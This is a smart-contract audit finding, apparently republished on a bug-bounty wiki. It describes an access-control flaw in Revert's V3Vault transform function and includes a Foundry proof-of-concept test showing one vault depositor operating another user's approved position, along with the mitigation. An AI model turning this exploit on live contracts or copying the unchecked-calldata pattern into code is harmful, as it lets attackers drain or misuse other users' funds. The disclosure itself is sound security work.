V3Vault::transform does not validate the data input and allows a depositor to exploit any position approved on the transformer
The V3Vault transform function only checks the tokenId parameter for ownership, not the tokenId encoded in the calldata passed to the transformer. Any vault position holder could call an approved transformer with arbitrary parameters to manipulate any position delegated to that transformer, potentially draining funds or causing losses.
Submitted by b0g0
Any account holding a position inside V3Vault can transform any NFT position outside the vault that has been delegated to Revert operators for transformation (AutoRange, AutoCompound and all other transformers that manage positions outside of the vault).
The exploiter can pass any params at any time, affecting positions they do not own and their funds critically.
Vulnerability details
In order to borrow from V3Vault, an account must first create a collateralized position by sending his position NFT through the create() function
Any account that has a position inside the vault can use the transform() function to manage the NFT, while it is owned by the vault:
function transform(uint256 tokenId, address transformer, bytes calldata data)
external
override
returns (uint256 newTokenId)
{
....
//@audit -> tokenId inside data not checked
(uint256 newDebtExchangeRateX96,) = _updateGlobalInterest();
address loanOwner = tokenOwner[tokenId];
// only the owner of the loan, the vault itself or any approved caller can call this
if (loanOwner != msg.sender && !transformApprovals[loanOwner][tokenId][msg.sender]) {
revert Unauthorized();
}
// give access to transformer
nonfungiblePositionManager.approve(transformer, tokenId);
(bool success,) = transformer.call(data);
if (!success) {
revert TransformFailed();
}
....
// check owner not changed (NEEDED because token could have been moved somewhere else in the meantime)
address owner = nonfungiblePositionManager.ownerOf(tokenId);
if (owner != address(this)) {
revert Unauthorized();
}
....
return tokenId;
}
The user passes an approved transformer address and the calldata to execute on it. The problem here is that the function only validates the ownership of the uint256 tokenId input parameter. However, it never checks if the tokenId encoded inside bytes calldata data parameter belongs to msg.sender.
This allows any vault position holder to call an allowed transformer with arbitrary params encoded as calldata and change any position delegated to that transformer.
This will impact all current and future transformers that manage Vault positions. To prove the exploit, I’m providing a coded POC using the AutoCompound transformer.
Proof of Concept
A short explanation of the POC:
Aliceis an account outside the vault that approves her positionALICE_NFTto be auto-compounded by Revert controlled operators (bots).Bobdecides to act maliciously and transformAliceposition.Bobopens a position in the vault with hisBOB_NFTso that he can calltransform().BobcallsV3Vault.transform()withBOB_NFTastokenIdparam to pass validation but encodesALICE_NFTinside data.Bobsuccessfully transformsAliceposition with his params.
You can add the following test to V3Vault.t.sol and run forge test --contracts /test/V3Vault.t.sol --mt testTransformExploit -vvvv.
function testTransformExploit() external {
// Alice
address ALICE_ACCOUNT = TEST_NFT_ACCOUNT;
uint256 ALICE_NFT = TEST_NFT;
// Malicious user
address EXPLOITER_ACCOUNT = TEST_NFT_ACCOUNT_2;
uint256 EXPLOITER_NFT = TEST_NFT_2;
// Set up an auto-compound transformer
AutoCompound autoCompound = new AutoCompound(
NPM,
WHALE_ACCOUNT,
WHALE_ACCOUNT,
60,
100
);
vault.setTransformer(address(autoCompound), true);
autoCompound.setVault(address(vault), true);
// Set fee to 2%
uint256 Q64 = 2 ** 64;
autoCompound.setReward(uint64(Q64 / 50));
// Alice decides to delegate her position to
// Revert bots (outside of vault) to be auto-compounded
vm.prank(ALICE_ACCOUNT);
NPM.approve(address(autoCompound), ALICE_NFT);
// Exploiter opens a position in the Vault
vm.startPrank(EXPLOITER_ACCOUNT);
NPM.approve(address(vault), EXPLOITER_NFT);
vault.create(EXPLOITER_NFT, EXPLOITER_ACCOUNT);
vm.stopPrank();
// Exploiter passes ALICE_NFT as param
AutoCompound.ExecuteParams memory params = AutoCompound.ExecuteParams(
ALICE_NFT,
false,
0
);
// Exploiter account uses his own token to pass validation
// but transforms Alice position
vm.prank(EXPLOITER_ACCOUNT);
vault.transform(
EXPLOITER_NFT,
address(autoCompound),
abi.encodeWithSelector(AutoCompound.execute.selector, params)
);
}
Since the exploiter can control the calldata send to the transformer, he can impact any approved position in various ways. In the case of AutoCompound it can be:
- Draining the position funds -
AutoCompoundcollects a fee on every transformation. The exploiter can call it multiple times. - Manipulating
swap0To1&amountInparameters to execute swaps in unfavourable market conditions, leading to loss of funds or value extraction.
Those are only a couple of ideas. The impact can be quite severe depending on the transformer and parameters passed.
Tools Used
Foundry
Recommended Mitigation Steps
Consider adding a check inside transform() to make sure the provided tokenId and the one encoded as calldata are the same. This way the caller will not be able to manipulate other accounts positions.
Assessed type
Invalid Validation
PR here - refactoring to make all transformers properly check caller permission.
Status: Mitigation confirmed. Full details in reports from ktg, thank_you and b0g0.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The transform function validates the tokenId argument but not the tokenId embedded in the data passed to the transformer, allowing a caller to act on a different position.
Impact
An attacker could drain position funds by repeatedly triggering fee collection or manipulate swap parameters to cause losses or extract value, depending on the transformer.
What the attacker needed
Attacker holds a position in the vault; victim has approved a transformer
The fix
The transform function should check that the tokenId encoded in the calldata matches the tokenId argument, and the project mitigated by refactoring transformers to check caller permission.
How it was found
- Alice approves her NFT position to an AutoCompound transformer.
- Bob creates his own position in the vault so he can call transform.
- Bob calls transform with his own tokenId but encodes Alice's tokenId in the data.
- The transformer executes on Alice's position using Bob's parameters.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault lets people deposit NFTs as collateral. It also lets them use a helper (a transformer) to manage those NFTs. The vault checked that you owned the NFT you said you were managing, but it did not check the NFT you actually told the helper to work on. So anyone with a deposit could tell the helper to mess with someone else's NFT.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.